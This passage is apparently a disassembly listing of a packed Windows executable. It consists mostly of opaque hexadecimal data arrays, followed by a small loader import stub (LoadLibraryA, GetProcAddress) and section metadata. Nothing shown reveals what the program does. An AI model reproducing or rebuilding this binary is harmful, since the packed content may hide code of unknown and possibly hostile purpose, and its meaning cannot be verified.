38444F9Eh, 0D68C956h, 0A09C0C68h, 2A0C468Bh dd 296C745Bh, 9629EA98h, 4F337281h, 0B867D088h, 0A0AA2658h dd 569A13CEh, 265A5A42h, 0BAB50DDDh, 0E27D4329h, 2D7A6564h dd 0D26B3864h, 0B2075B69h, 0D61A0668h, 5497205h, 6CD9F644h dd 0FC249359h, 0E29C8C44h, 0F9684C12h, 5BEC8644h, 60747C64h dd 0F485A34h, 9BAB3A11h, 76736014h, 70DF8426h, 90EEFDDFh dd 5B21E2BEh, 3376D964h, 9C3B7871h, 0B2A4AD95h, 0F2B10F2Dh dd 0F47F2905h, 0A1761A9Fh, 176678B1h, 7138408Bh, 72D6B577h dd 804D2A8Eh, 0E297B320h, 0DAF90094h, 5A3DE9BBh, 430F430Dh dd 8B95D615h, 0E2D83F1Fh, 0D3B3DA0Bh, 0CFEB307h, 63F9B273h dd 75E0351Ah, 4CE4E40Bh, 28089574h, 0D6E0970Ch, 0C5F42EFh dd 3E618C8Dh, 8B942C08h, 24D84021h, 0AD3BEAE9h, 95E24B09h dd 895ACF04h, 5C22974Dh, 108442E6h, 4B187D4Dh, 0B4D7B269h dd 25956510h, 83BAA09Ch, 5BD8357Eh, 0E6765482h, 0AD86EB70h dd 0D98B072h, 5CB17428h, 2A18AAA3h, 79083078h, 7A1BCAB6h dd 15856039h, 25265C97h, 469CA39h, 7623249Ah, 0F2029EBh dd 0E02844B2h, 2A4370B2h, 2E21B949h, 0A32C1132h, 196CF527h dd 0BFB66D09h, 55A4F56Eh, 0CA766B6h, 81546840h, 90640C7Ch dd 383535E5h, 0A47FC25Dh, 23B6A994h, 133E3543h, 10A35B2Dh dd 0E14C1EA4h, 271510B4h, 3B5485B1h, 39D6350Bh, 8E32BCCEh dd 0B1A8F874h, 42198C5Eh, 56FDA425h, 94432B1Ah, 90152421h dd 0B1738523h, 44843C48h, 907008A4h, 45DDC8A0h, 2C0E6298h dd 14AA2791h, 0E154C916h, 0E126A651h, 0D4228E63h, 5870D912h dd 12EAB45Ch, 0B20430CBh, 0A8B1895Ch, 0E6EA487Dh, 8EF1506Fh dd 8B4A58B1h, 0CFC332A8h, 0A88D3326h, 0B5C6C562h, 7D1A213Dh dd 84A8228h, 0C39EC0Ch, 4FC32459h, 5C9B5158h, 5A8BE8C5h dd 0E20A7553h, 35BF0B24h, 8D31937h, 81987460h, 71310750h dd 5693BA58h, 0BC1B32B8h, 0FB1D6F10h, 0E821A373h, 0B419D4BFh dd 6E0D808Ch, 0BD6C1749h, 86A75F38h, 0BF4C480Dh, 12060551h dd 95A6A446h, 37822008h, 0E4EAFA4Eh, 8473C9Ch, 4CAC79C8h dd 432F5810h, 0EF432553h dd 0C94AD3F7h, 0BC6B303Dh, 0C4C2B225h, 76077C0Fh, 614C5CB3h dd 0AC99A5D6h, 0F89C0A0Ah, 5B531077h, 0B0491F6Ch, 0B51A6DC4h dd 0FCB62433h, 0AD04A05Eh, 51C85131h, 145DFBB3h, 5D47201Ch dd 0F1D60F60h, 7E222AA6h, 0A6300FACh, 0B8D81204h, 0E263B2F9h dd 39B03438h, 29C8484Fh, 3BB2B340h, 4E43B8C4h, 2CB3A2F1h dd 4EBA8403h, 4DB6DA4Bh, 30CE7841h, 0FBCAB25Eh, 0C5C645A0h dd 0F8A5292Ch, 0A20FA742h, 59D19CD2h, 75B27728h, 141A8BBDh dd 0D90C4FFCh, 39932E65h, 282F2AD8h, 3CA8522Eh, 74293BE2h dd 2028CC0Eh, 8441EB6h, 0B7D5F994h, 0C920664h, 128692EDh dd 3DBDA825h, 0C34B8C94h, 24695BB2h, 3F657C5Ah, 0B61CB931h dd 1B7B02C4h, 0DC50363Ah, 88CA7E82h, 9939CA70h, 42EC68Ch dd 0F0A3D613h, 0A4E192CCh, 38F38D2Bh, 0B308298Eh, 71013D9h dd 15BC853Ch, 35B44871h, 70373C59h, 0FF466932h, 0C2508B60h dd 0B7C159B5h, 9B14DB2Ch, 741B55B9h, 0B098295Fh, 4713A74Bh dd 0D95D2242h, 643D6825h, 37E09140h, 0D813F3C4h, 12238A45h dd 3381CAA9h, 12981229h, 0AF51DE1Eh, 11A61299h, 5E7E8D4Ch dd 14BBD499h, 0DE280B45h, 0AC3C504Bh, 51C2FADAh, 0B1060C08h dd 6976741Eh, 24AC21A4h, 0C9641297h, 5A2FDAB5h, 74B6010Fh dd 2859EFC3h, 0A179FBFAh, 0CFE06C10h, 77BECE05h, 4AADAC35h dd 25825B87h, 0BD1F689Eh, 0BA0530AFh, 1176BCC5h, 5B9016F2h dd 3EAB1122h, 8AE3A144h, 88495DF6h, 58042158h, 67A45D46h dd 8A32C8C4h, 189A14A1h, 0BFB5D0CDh, 8EA1791Ah, 6EBCC04Fh dd 2CAAB334h, 0CB9EBCFEh, 906A7049h, 29145B36h, 4253BC10h dd 0B4D53A1h, 66A16C23h, 0E0143629h, 4C136415h, 20D88E58h dd 9088DDB1h, 1021F24Eh, 8B50A658h, 9926590Ch, 3C01087Fh dd 0B29D3DA0h, 4BC27077h, 7C41B4ACh, 60078C54h, 643E9C43h dd 0BC6810C3h, 0C2706CCFh, 11AB4450h, 5818C654h, 5C218668h dd 0C40887Ch, 0A7084467h, 80768E4Ah, 24CC33F8h, 13F27835h dd 1BE5C6ABh, 5801E6EDh, 0E1784136h, 3C5AB5C9h, 645FB472h dd 41A8B438h, 2FC22BB2h, 6D2B2B4Dh, 0A0F2DE4Ch, 0E56BF9BEh dd 0A1449FDAh, 97C94C6Bh, 0AB2BD3CAh, 32CBA5C4h, 8C3C524h dd 0DC424D58h, 580817FDh, 0BC46564Dh, 13B31C11h, 54E2AC7Ch dd 0BB348996h, 0C4054262h, 0A08D890h, 270E051Ah, 35145D6Ch dd 6B204CE4h, 44BE6E0Ch, 0A42BD8F8h, 5090ADB2h, 5BD15882h dd 74723456h, 284C2552h, 8262878Eh, 2E4E404Eh, 43D6F2F4h dd 2CD84C8Bh, 0E81ECF65h, 0A4CAF3F3h, 8C586110h, 320CAD6Eh dd 89361688h, 854925E0h, 6FCA9D2Bh, 3443F83Bh, 29F9CF5Bh dd 9445878Dh, 5C3C7908h, 7385BC42h, 54EA216Dh, 7E19634Dh dd 2969A120h, 0E43D9D5Bh, 36226FC8h, 0C6B82F8Dh, 1E29E7F2h dd 0E0E04AB1h, 9884A62Eh, 0F6154A21h, 58B8058Eh, 5CE35A8Ah dd 0EB563DC8h, 0B68E040Ch, 4E38FD37h, 0B6A64EB4h, 0E8453FFh dd 0C2B970AFh, 11B4463Eh, 0BBB4A63Ch, 89CF7B51h, 89E341B1h dd 4E2442Bh, 0ADA6B8A8h, 8881CF2Eh, 0A2DC5460h, 509CB517h dd 4AD888A1h, 69B8A78Fh, 80844AD0h, 73503306h, 0B57032B3h dd 2B160424h, 0E9205861h, 5B4CD2C1h, 58688A1Dh, 628A7772h dd 7AD16E5Ch, 5C8B0FCAh, 33E9C39Dh, 0E0428501h, 444E2640h dd 0DA628300h, 4147E9AAh, 0D1723318h, 29243859h, 588908B5h dd 35C4035Bh, 0B0323476h, 9A825EBEh, 0A335B38h, 0D1C86623h dd 6880BE0h, 213EE0C4h, 22916768h, 83D69E0h, 82D44E78h dd 0D1CC7E1Ah, 51B72213h, 63BD4DF5h, 0BC022226h, 0BE06A8Eh dd 9CC54A1Ch, 25AF589h, 0F94ADCEAh, 0B35CC5B4h, 89F95279h dd 12E5E79Ch, 2EB7B2DEh, 35C80578h, 41A80EB7h, 3EAC54D8h dd 3F59BFCEh, 4A6AC2D6h, 883506Ch, 0A9503D48h, 3D082695h dd 0BC716821h, 0FDC4B50Ah, 0D438D59Dh, 0E3CE773Fh, 0BA4888BBh dd 438C7844h, 3954C860h, 283E5EE2h, 0B366E256h, 65979C20h dd 262D2476h, 0F6C90FDCh, 0B4821BD4h, 0FEBA6DEEh, 0D2568810h dd 0C8C5ED40h, 451AE8AEh, 505447E8h, 423F1AF0h, 859C9C5Bh dd 8129B55h, 0E052F06Bh, 586B4230h, 55081A77h, 0BA927559h dd 9C59CF02h, 0B114974Ah, 0EF65D19Eh, 98B2FFB8h, 1675C6CAh dd 92995CF9h, 16A08C4Fh, 0BC8F554Bh, 0F6B1C911h, 4013BDB8h dd 4F31EAE4h, 0C17355C9h, 0FC59B781h, 0F0CD3AB1h, 0A9D3C363h dd 594888F0h, 3E2A068Eh, 0DD4FADB4h, 11A14F79h, 8904D44h dd 0A1531E46h, 995D59C7h, 3A5249D6h, 67AB8550h, 0CB4B21CFh dd 0A4215818h, 1E0EE8A5h, 4015330Bh, 0C6BCED73h, 0CFB8677h dd 8E12F96Ch, 0C5854290h, 0E498CD14h, 3DCFE453h, 40342F45h dd 981DAE50h, 292B8440h, 81D175Bh, 0B0643476h, 934940E6h dd 28BDF246h, 0AACA33Dh, 0AD98D84Ah, 8BDF3E17h, 749E540Fh dd 9337128Bh, 0A1194FFEh, 4C17239Fh, 0B41A6F3h, 0A5D8DCFBh dd 275C50D5h, 0C542A190h, 0A5391AEFh, 0BB753244h, 868F76FDh dd 883237D0h, 0F4A93D8Bh, 0B417A130h, 0CAE2F360h, 0A44577FDh dd 14442032h, 64CE5841h, 5B9D4208h, 543A1BD2h, 323B4519h dd 2833589Ah, 0EA34404Ch, 163653D8h, 0D8955198h, 23125FFFh dd 544CE8B1h, 0EB0A8BBDh, 17E2F4D4h, 8A8B9B7Ah, 3F6389CCh dd 1597B2C2h, 5BE19791h, 0D7654B0Ah, 40B094F2h, 63A7FCCDh dd 232B9044h, 0F769C990h, 17C932A1h, 0ABE2B760h, 0E9161589h dd 0AD3060FDh, 0ACC0AB83h, 442D9BE7h, 0BF8B91C5h, 72969234h dd 0D0A38904h, 0E77BCC23h, 9D6C8345h, 398D64C4h, 59989EE8h dd 2D953270h, 45AE45FCh, 0CB8B5940h, 1C8D25BCh, 35B917FEh dd 0AF8C5732h, 0FCF5705Dh, 9B86C980h, 2A1FA55h, 0D4AF298Dh dd 605494A9h, 79DBB264h, 68B22564h, 0CD1E4F5Bh, 119DA17Bh dd 28A8590Bh, 0FC59F293h, 0E6221122h, 0F77739B7h, 0B4CC8DD8h dd 1F8E4629h, 0B903B176h, 2804F577h, 0B78F3295h, 602D2413h dd 0E6674BDFh, 34D81851h, 5BF53D25h, 61578E08h, 636B581Bh dd 90A27C69h, 5441A858h, 0B1560D85h, 58BFCC0Dh, 0C47ADB96h dd 0E3A05ACEh, 0A09679F1h, 4439D862h, 900824A2h, 5E586207h dd 5180D85h, 2291F805h, 6E116C12h, 7A39F209h, 50F53810h dd 8CCD3039h, 0DA1C480h, 0EE869581h, 444AE0BFh, 0B4A6BF88h dd 92024AB9h, 8C58E248h, 5CDA3126h, 9229178Eh, 7F3B113Fh dd 0A829D07Fh, 0CC110F93h, 510507Dh, 7D12A630h, 0B602D3DAh dd 982E9418h, 91BDC5BCh, 35413257h, 99BB5B22h, 0EDA4DF0Dh dd 29B81388h, 15781D60h, 906E071Fh, 0CCDBABB2h, 4596A294h dd 8237B47h, 66BCFCB5h, 2094E825h, 16BBB6ECh, 59EECB2Dh dd 0DE95936Fh, 0CD3C1841h, 2CDC995Bh, 353AC30Ah, 28215EF4h dd 5284CC83h, 9817C036h, 38F82194h, 0AD58104Ch, 11E6B96Fh dd 60BE45BEh, 0AF409CE8h, 0A68075D8h, 0B1583497h, 0D65AD239h dd 0DCE48857h, 44203816h, 5408F1DAh, 509BA9D4h, 2F3328B5h dd 5DE9D070h, 940D56B3h, 2E6E192Ah, 392140FDh, 0BDDF3435h dd 219806AAh, 26B8BA34h, 0BCF00C30h, 910DA5B4h, 128CA280h dd 21859A6Bh, 9162F59Eh, 0DB4532A2h, 3808B3CDh, 80884C42h dd 0C88859A5h, 94B77622h, 0B46C2997h, 316844F7h, 96084B98h dd 1E3E6E42h, 8C94D945h, 4520D80Dh, 29A89F08h, 659811DCh dd 17050592h, 31F16458h, 0D579170Bh, 0E1DF2A5Bh, 0C2AD2008h dd 45346D67h, 6BB635B4h dd 0A934142Dh, 0A6C337A0h, 23D351Bh, 31347740h, 42F05388h dd 0F2A26D5Bh, 661195D0h, 31F42003h, 409B47Eh, 4AD02FA9h dd 38647713h, 8D2B32D9h, 37423109h, 534C883Ah, 0D2DAA2CDh dd 0E98A9424h, 0CBFA5B19h, 0B8C89D30h, 0EE7FB3DEh, 67A95773h dd 57B3288Bh, 6BB2254Bh, 0DE05759Ah, 440ACC92h, 0EC88B399h dd 0B24BC8A0h, 989344FCh, 0B3EC95E9h, 38540C1Bh, 0E07C39h dd 406B39h, 40103844h, 52454B07h, 334C304Eh, 64382E32h dd 8001F06Ch, 43746547h, 0B3C77275h, 0B150BB6Eh, 73F5636Fh dd 432633C7h, 0A7F7611Ch, 6F6DC352h, 68540C19h, 289D641Bh dd 1A69DA57h, 0BF4D2219h, 2879B135h, 74D86956h, 6C611B75h dd 2E198E41h, 44207845h, 69F570F5h, 48773AEBh, 6DB86E37h dd 0C63EB23h, 3669461Ch, 4CAD410Ch, 3C1A7357h, 469E6657h dd 0FE53768Ah, 4F1EC367h, 63A36A62h, 78B34FDh, 1E644162h dd 4CCF88D4h, 69A1F49Bh, 0DAB6F762h, 91A94156h, 55498E94h dd 86573714h, 73776FB0h, 798CA344h, 6C2AA989h, 0ACDCCFFBh dd 0CA34A46Eh, 0BF94678Ah, 7DC044A8h, 30536C76h, 33CD73E3h dd 910D6D46h, 0F04E0B08h, 0A7745778h, 88A0F41h, 0C8107372h dd 0B47015D9h, 0CF76E676h, 6D0D6F28h, 33450AFDh, 37628247h dd 1AF246B4h, 680BCA0Ch, 0A549277h, 0C427024h, 4168614Eh dd 53485391h, 63655F67h, 46090F11h, 1314184h, 0F5436BA6h dd 2DC0A375h, 0D0A36D2Bh, 159EECBDh, 65E8A049h, 67753862h dd 3C726DF5h, 2D94EE38h, 9331A7A5h, 75E16F4Dh, 687CCEA1h dd 7970893Fh, 0E7531039h, 5A9C1E41h, 0D6533F2Fh, 0D9AB7FECh dd 733ABA68h, 62DA8A20h, 64BB1C2Bh, 9D78334Dh, 8424FF52h dd 7A358945h, 67691D22h, 30373537h, 70795466h, 0BD5338A1h dd 0FFE0F97Ch, 0A7EC03C9h, 89F95575h, 0A4731476h, 81B7AC63h dd 0DF20685Fh, 64706E55h, 0CD1929BFh, 0DE47FEB2h, 6921DEA3h dd 0B320F8A9h, 194D2ECCh, 0A4677961h, 6E1AC628h, 7901275h dd 7D9C7049h, 77016641h, 5700110Ch, 5F473253h, 9080366h dd 630E1344h, 49413080h, 16749C2Ah, 0A3330A44h, 6B0D9412h dd 1484DE96h, 9034C14h, 12058912h, 480F2411h, 22729102h dd 30C4501h, 9220901h, 16964407h, 7D470B89h, 4187F40Ah dd 50325644h, 90F69449h, 9FE98338h, 4924E85Ah, 434DC620h dd 58351A1h, 14591FAEh, 4FCFFA68h, 1C6ED47Dh, 43840ED1h dd 4B78C44Dh, 3B1472E0h, 5C9B1F86h, 0C56A15C8h, 0D16D0C68h dd 8F549631h, 6567C0C3h, 2D7244C4h, 0FE3C0973h, 67F6764Ch dd 0EDA33EACh, 0E9BF66E3h, 4CCEF61Bh, 55AE6CFAh, 3E7B87D1h dd 3379294Bh, 0AB413278h, 56F92624h, 64751EFCh, 241021B5h dd 0FE6BCD32h, 756398B8h, 49FC3EBAh, 3C6F66C9h, 685E9107h dd 443BEA10h, 534D44E4h, 434F9080h, 0C3A934Bh, 73F47254h dd 0A6696D26h, 801C6Dh, 0 dd offset dword_406B38+1 aLoadlibrarya db 'LoadLibraryA',0 aGetprocaddress db 'GetProcAddress',0 dd 3 dup(0) dd 700C00h db 0 ; [00000005 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND] align 10h dd 200h, 700C00h, 31Eh dup(0) __u_____ ends ; Section 3. (virtual address 0000A000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0000A000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 40A000h dd 80h dup(0) align 1000h _idata2 ends end start